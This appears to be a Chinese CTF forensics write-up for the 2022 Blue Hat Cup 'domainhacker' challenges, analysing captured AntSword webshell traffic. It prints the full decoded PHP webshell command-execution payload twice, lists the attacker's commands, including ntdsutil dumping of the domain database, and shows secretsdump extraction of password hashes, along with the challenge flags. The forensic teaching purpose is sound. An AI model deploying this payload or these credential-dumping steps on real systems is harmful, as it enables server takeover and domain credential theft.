简介
在蓝帽杯 2022 初赛中,domainhacker 的流量分析题目聚焦于中国蚁剑这款 webshell 管理工具的流量特征。通过对比赛提供的数据包进行解析,本文将深入分析蚁剑在连接木马时产生的加密流量。
公司安全部门,在流量设备中发现了疑似黑客入侵的痕迹,用户似乎获取了机器的hash,你能通过分析流量,找到机器的hash吗?
[蓝帽杯 2022 初赛]domainhacker2
根据题目信息,我们直接追踪TCP流量
将POST的数据进行Decode
a=@ini_set("display_errors", "0");
@set_time_limit(0);
$opdir=@ini_get("open_basedir");
if($opdir) {
$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);
$oparr=preg_split("/;|:/",$opdir);
@array_push($oparr,$ocwd,sys_get_temp_dir());
foreach($oparr as $item) {
if(!@is_writable($item)) {
continue;
}
;
$tmdir=$item."/.c46a89a";
@mkdir($tmdir);
if(!@file_exists($tmdir)) {
continue;
}
@chdir($tmdir);
@ini_set("open_basedir", "..");
$cntarr=@preg_split("/\\\\|\//",$tmdir);
for ($i=0;$i<sizeof($cntarr);$i++) {
@chdir("..");
}
;
@ini_set("open_basedir","/");
@rmdir($tmdir);
break;
}
;
}
;
;
function asenc($out) {
return $out;
}
;
function asoutput() {
$output=ob_get_contents();
ob_end_clean();
echo "79c2"."0b92";
echo @asenc($output);
echo "b4e7e"."465b62";
}
ob_start();
try {
$p=base64_decode(substr($_POST["yee092cda97a62"],2));
$s=base64_decode(substr($_POST["q8fb9d4c082c11"],2));
$envstr=@base64_decode(substr($_POST["p48a6d55fac1b1"],2));
$d=dirname($_SERVER["SCRIPT_FILENAME"]);
$c=substr($d,0,1)=="/"?"-c \"{$s}\"":"/c \"{$s}\"";
if(substr($d,0,1)=="/") {
@putenv("PATH=".getenv("PATH").":/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin");
} else {
@putenv("PATH=".getenv("PATH").";C:/Windows/system32;C:/Windows/SysWOW64;C:/Windows;C:/Windows/System32/WindowsPowerShell/v1.0/;");
}
if(!empty($envstr)) {
$envarr=explode("|||asline|||", $envstr);
foreach($envarr as $v) {
if (!empty($v)) {
@putenv(str_replace("|||askey|||", "=", $v));
}
}
}
$r="{$p} {$c}";
function fe($f) {
$d=explode(",",@ini_get("disable_functions"));
if(empty($d)) {
$d=array();
} else {
$d=array_map('trim',array_map('strtolower',$d));
}
return(function_exists($f)&&is_callable($f)&&!in_array($f,$d));
}
;
function runshellshock($d, $c) {
if (substr($d, 0, 1) == "/" && fe('putenv') && (fe('error_log') || fe('mail'))) {
if (strstr(readlink("/bin/sh"), "bash") != FALSE) {
$tmp = tempnam(sys_get_temp_dir(), 'as');
putenv("PHP_LOL=() { x; }; $c >$tmp 2>&1");
if (fe('error_log')) {
error_log("a", 1);
} else {
mail("a@127.0.0.1", "", "", "-bv");
}
} else {
return False;
}
$output = @file_get_contents($tmp);
@unlink($tmp);
if ($output != "") {
print($output);
return True;
}
}
return False;
}
;
function runcmd($c) {
$ret=0;
$d=dirname($_SERVER["SCRIPT_FILENAME"]);
if(fe('system')) {
@system($c,$ret);
} elseif(fe('passthru')) {
@passthru($c,$ret);
} elseif(fe('shell_exec')) {
print(@shell_exec($c));
} elseif(fe('exec')) {
@exec($c,$o,$ret);
print(join("",$o));
} elseif(fe('popen')) {
$fp=@popen($c,'r');
while(!@feof($fp)) {
print(@fgets($fp,2048));
}
@pclose($fp);
} elseif(fe('proc_open')) {
$p = @proc_open($c, array(1 => array('pipe', 'w'), 2 => array('pipe', 'w')), $io);
while(!@feof($io[1])) {
print(@fgets($io[1],2048));
}
while(!@feof($io[2])) {
print(@fgets($io[2],2048));
}
@fclose($io[1]);
@fclose($io[2]);
@proc_close($p);
} elseif(fe('antsystem')) {
@antsystem($c);
} elseif(runshellshock($d, $c)) {
return $ret;
} elseif(substr($d,0,1)!="/" && @class_exists("COM")) {
$w=new COM('WScript.shell');
$e=$w->exec($c);
$so=$e->StdOut();
$ret.=$so->ReadAll();
$se=$e->StdErr();
$ret.=$se->ReadAll();
print($ret);
} else {
$ret = 127;
}
return $ret;
}
;
$ret=@runcmd($r." 2>&1");
print ($ret!=0)?"ret={$ret}":"";
;
}
catch(Exception $e) {
echo "ERROR://".$e->getMessage();
}
;
asoutput();
die();
典型的蚁剑马,并在其中发现了读取操作的相关代码
$s=base64_decode(substr($_POST["q8fb9d4c082c11"],2));
然后我们将每次q8fb9d4c082c11的操作找出来
cd /d "C:/phpstudy_pro/WWW"&whoami /priv&echo efa923ba504&cd&echo 1a4be8815ef8
cd /d "C:\\phpstudy_pro\\WWW"&powershell -c "whoami /priv"&echo efa923ba504&cd&echo 1a4be8815ef8
cd /d "C:\\phpstudy_pro\\WWW"&tasklist&echo efa923ba504&cd&echo 1a4be8815ef8
......
cd /d "c:\\Windows\\Temp"&rar.exe a -PSecretsPassw0rds 1.rar 1.txt&echo efa923ba504&cd&echo 1a4be8815ef8
我们将所有的HTTP对象导出来
发现有一个RAR文件而且有加密
我们注意这个操作
&rar.exe a -PSecretsPassw0rds 1.rar 1.txt&echo efa923ba504&cd&echo 1a4be8815ef8
1.rar 1.txt解压缩1.txt到1.rar中并且使用SecretsPassw0rds加密
然后我们使用SecretsPassw0rds去解压1.rar
得到解压密码
[蓝帽杯 2022 初赛]domainhacker2
前置知识:
在域环境中,活动目录是域中提供目录服务的组件,其可以帮助用户快速准确地从目录中找到其所需要的信息。在规模较大的网络中,要把网络中的众多对象,例如计算机、用户、用户组、打印机、共享文件等分门别类、井然有序的存放在一个大仓库中,并做好信息索引,一遍查找、管理和使用这些资源对象。拥有这个层次结构的数据库就是活动目录数据库。
Ntds.dit文件是域环境中域控上会有的一个二进制文件,是主要的活动目录数据库,其文件路径为域控的 %SystemRoot%\ntds\ntds.dit,活动目录始终会访问这个文件,所以文件禁止被读取。Ntds.dit包括但不限于有关域用户、组和组成员身份和凭据信息、GPP等信息。它包括域中所有用户的密码哈希值,为了进一步保护密码哈希值,使用存储在SYSTEM注册表配置单元中的密钥对这些哈希值进行加密。
而在非域环境也就是在工作组环境中,用户的密码等信息存储在SAM文件,想要破解SAM文件与Ntds.dit文件都需要拥有一个System文件。和SAM文件一样,Ntds.dit是默认被Windows系统锁定的。
我们拿到两个附件,一个是misc-2.pcapng流量包,一个是 ntds.rar加密文件
然后我们简单浏览流量包之后,统计http请求
我们查看关于1.php的流量包
分析流量包的内容
看上去是webshell流量
aaa = @ini_set("display_errors", "0");
@set_time_limit(0);
$opdir = @ini_get("open_basedir");
if ($opdir) {
$ocwd = dirname($_SERVER["SCRIPT_FILENAME"]);
$oparr = preg_split("/;|:/", $opdir);
@array_push($oparr, $ocwd, sys_get_temp_dir());
foreach($oparr as $item) {
if (!@is_writable($item)) {
continue;
};
$tmdir = $item."/.6e92708f25a";
@mkdir($tmdir);
if (!@file_exists($tmdir)) {
continue;
}
@chdir($tmdir);
@ini_set("open_basedir", "..");
$cntarr = @preg_split("/\\\\|\//", $tmdir);
for($i = 0;
$i < sizeof($cntarr);
$i++) {
@chdir("..");
};
@ini_set("open_basedir", "/");
@rmdir($tmdir);
break;
};
};;
function asenc($out) {
return $out;
};
function asoutput() {
$output = ob_get_contents();
ob_end_clean();
echo "ba"."47a";
echo @asenc($output);
echo "abe28"."ca2197";
}
ob_start();
try {
$p = base64_decode(substr($_POST["i00fdbe370f732"], 2));
$s = base64_decode(substr($_POST["eaf06745bcdc2e"], 2));
$envstr = @base64_decode(substr($_POST["y2ad6c8051181b"], 2));
$d = dirname($_SERVER["SCRIPT_FILENAME"]);
$c = substr($d, 0, 1) == "/"?"-c \"{$s}\"":"/c \"{$s}\"";
if (substr($d, 0, 1) == "/") {
@putenv("PATH=".getenv("PATH").":/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin");
} else {
@putenv("PATH=".getenv("PATH").";C:/Windows/system32;C:/Windows/SysWOW64;C:/Windows;C:/Windows/System32/WindowsPowerShell/v1.0/;");
}
if (!empty($envstr)) {
$envarr = explode("|||asline|||", $envstr);
foreach($envarr as $v) {
if (!empty($v)) {
@putenv(str_replace("|||askey|||", "=", $v));
}
}
}
$r = "{$p} {$c}";
function fe($f) {
$d = explode(",", @ini_get("disable_functions"));
if (empty($d)) {
$d = array();
} else {
$d = array_map('trim', array_map('strtolower', $d));
}
return(function_exists($f)&&is_callable($f)&&!in_array($f, $d));
};
function runshellshock($d, $c) {
if (substr($d, 0, 1) == "/" && fe('putenv') && (fe('error_log') || fe('mail'))) {
if (strstr(readlink("/bin/sh"), "bash") != FALSE) {
$tmp = tempnam(sys_get_temp_dir(), 'as');
putenv("PHP_LOL=() { x; }; $c >$tmp 2>&1");
if (fe('error_log')) {
error_log("a", 1);
} else {
mail("a@127.0.0.1", "", "", "-bv");
}
} else {
return False;
}
$output = @file_get_contents($tmp);
@unlink($tmp);
if ($output != "") {
print($output);
return True;
}
}
return False;
};
function runcmd($c) {
$ret = 0;
$d = dirname($_SERVER["SCRIPT_FILENAME"]);
if (fe('system')) {
@system($c, $ret);
} elseif (fe('passthru')) {
@passthru($c, $ret);
} elseif (fe('shell_exec')) {
print(@shell_exec($c));
} elseif (fe('exec')) {
@exec($c, $o, $ret);
print(join("
", $o));
} elseif (fe('popen')) {
$fp = @popen($c, 'r');
while (!@feof($fp)) {
print(@fgets($fp, 2048));
}
@pclose($fp);
} elseif (fe('proc_open')) {
$p = @proc_open($c, array(1 = > array('pipe', 'w'), 2 = > array('pipe', 'w')), $io);
while (!@feof($io[1])) {
print(@fgets($io[1], 2048));
}
while (!@feof($io[2])) {
print(@fgets($io[2], 2048));
}
@fclose($io[1]);
@fclose($io[2]);
@proc_close($p);
} elseif (fe('antsystem')) {
@antsystem($c);
} elseif (runshellshock($d, $c)) {
return $ret;
} elseif (substr($d, 0, 1) != "/" && @class_exists("COM")) {
$w = new COM('WScript.shell');
$e = $w - > exec($c);
$so = $e - > StdOut();
$ret .= $so - > ReadAll();
$se = $e - > StdErr();
$ret .= $se - > ReadAll();
print($ret);
} else {
$ret = 127;
}
return $ret;
};
$ret = @runcmd($r." 2>&1");
print ($ret != 0)?"ret={$ret}":"";;
} catch(Exception $e) {
echo "ERROR://".$e - > getMessage();
};
asoutput();
die();
找到关键部分,我们只需要解码即可
$p = base64_decode(substr($_POST["i00fdbe370f732"], 2));
$s = base64_decode(substr($_POST["eaf06745bcdc2e"], 2));
$envstr = @base64_decode(substr($_POST["y2ad6c8051181b"], 2));
我们只需要删除前面两个字符,并进行base64解码即可
简单分析几个流量包
cd /d "c:\\Windows\\Temp"&move ntds.rar c:\phpstudy_pro\www\&echo 1d3632&cd&echo 78bc462ab
cd /d "c:\\Windows\\Temp"&dir&echo 1d3632&cd&echo 78bc462ab
cd /d "c:\\Windows\\Temp"&rar.exe a -PFakePassword123$ ntds.rar new&echo 1d3632&cd&echo 78bc462ab
#制作压缩包的命令,密码为 FakePassword123$
cd /d "c:\\Windows\\Temp"&dir&echo 1d3632&cd&echo 78bc462ab
cd /d "C:\\phpstudy_pro\\WWW"&cd c:\windows\temp\&echo 1d3632&cd&echo 78bc462ab
cd /d "C:\\phpstudy_pro\\WWW"&type err.txt&echo 1d3632&cd&echo 78bc462ab
cd /d "C:\\phpstudy_pro\\WWW"&dir &echo 1d3632&cd&echo 78bc462ab
cd /d "C:\\phpstudy_pro\\WWW"&cmd.exe /c ntdsutil.exe < log.txt >err.txt
解压ntds我们就拿到了一个活动目录中的ntds.dic和注册表中SYSTEM以及SECURITY
然后我们利用网络上的解析ntds.dic的脚本查看本地的历史记录
python secretsdump.py
-system ../../../../MISC/综合/NTDS解析/domainhacker2/registry/SYSTEM
-ntds ../../../../MISC/综合/NTDS解析/domainhacker2/Active\ Directory/ntds.dit
LOCAL -history
然后我们查看最近的Administrator的密码hash
拿到flag :flag{07ab403ab740c1540c378b0f5aaa4087}